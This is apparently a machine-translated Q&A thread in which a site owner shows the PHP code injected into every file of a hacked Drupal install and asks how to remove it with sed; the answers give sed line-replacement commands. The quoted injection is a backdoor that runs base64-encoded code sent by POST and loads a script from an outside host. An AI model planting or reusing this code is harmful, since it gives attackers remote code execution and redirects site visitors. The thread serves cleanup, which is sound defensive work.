matriculas - sed-e linux

sed, reemplace la primera línea

Question

Me han pirateado al ejecutar una instalación Drupal realmente desactualizada (lástima de mí)

Parece que inyectaron lo siguiente en cada archivo .php ;

<?php global $sessdt_o; if(!$sessdt_o) { 
  $sessdt_o = 1; $sessdt_k = "lb11"; 
  if(!@$_COOKIE[$sessdt_k]) { 
   $sessdt_f = "102"; 
   if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
   else { echo "<script>document.cookie=''".$sessdt_k."=".$sessdt_f."'';</script>"; } 
  } 
  else { 
   if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
     if(!@headers_sent()) {
      @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "<script>document.cookie=''".$sessdt_k."=".$sessdt_f."'';</script>"; }  
     sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
     $sessdt_v = urlencode(strrev($sessdt_j)); 
     $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
     echo "<script src=''$sessdt_u''></script>"; 
     echo "<meta http-equiv=''refresh'' content=''0;url=http://$sessdt_j''><!--"; 
    } 
   } 
   $sessdt_p = "showimg"; 
   if(isset($_POST[$sessdt_p])){
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
    exit;
   } 
  }

¿Puedo eliminar y reemplazar esto con sed ? p.ej:

find . -name *.php | xargs ... 

Espero que el sitio funcione solo por el momento para usar wget e hice una copia estática.

Answer 1

Para reemplazar la primera línea de un archivo, puede usar el comando c (para "cambiar") de sed :

sed ''1c<?php'' 

que se traduce en: "en la línea 1, reemplace el espacio del patrón con <?php ".

Para este problema en particular, sin embargo, algo como esto probablemente funcione:

sed ''1,/^$/c<?php''

que dice: cambie el rango "línea 1 a la primera línea vacía" a <?php , reemplazando así todo código inyectado.

(La segunda parte de la dirección (la expresión regular /^$/ ) debería reemplazarse por una expresión que de hecho delimitaría el código inyectado, si no es una línea vacía).

Answer 2

Puedes usar sed con algo como

sed ''1 s/^.*$/<?php/''

La 1 parte solo reemplaza la primera línea. Luego, gracias al comando s , reemplaza toda la línea por <?php .

Para modificar sus archivos in situ, use la opción -i de GNU sed .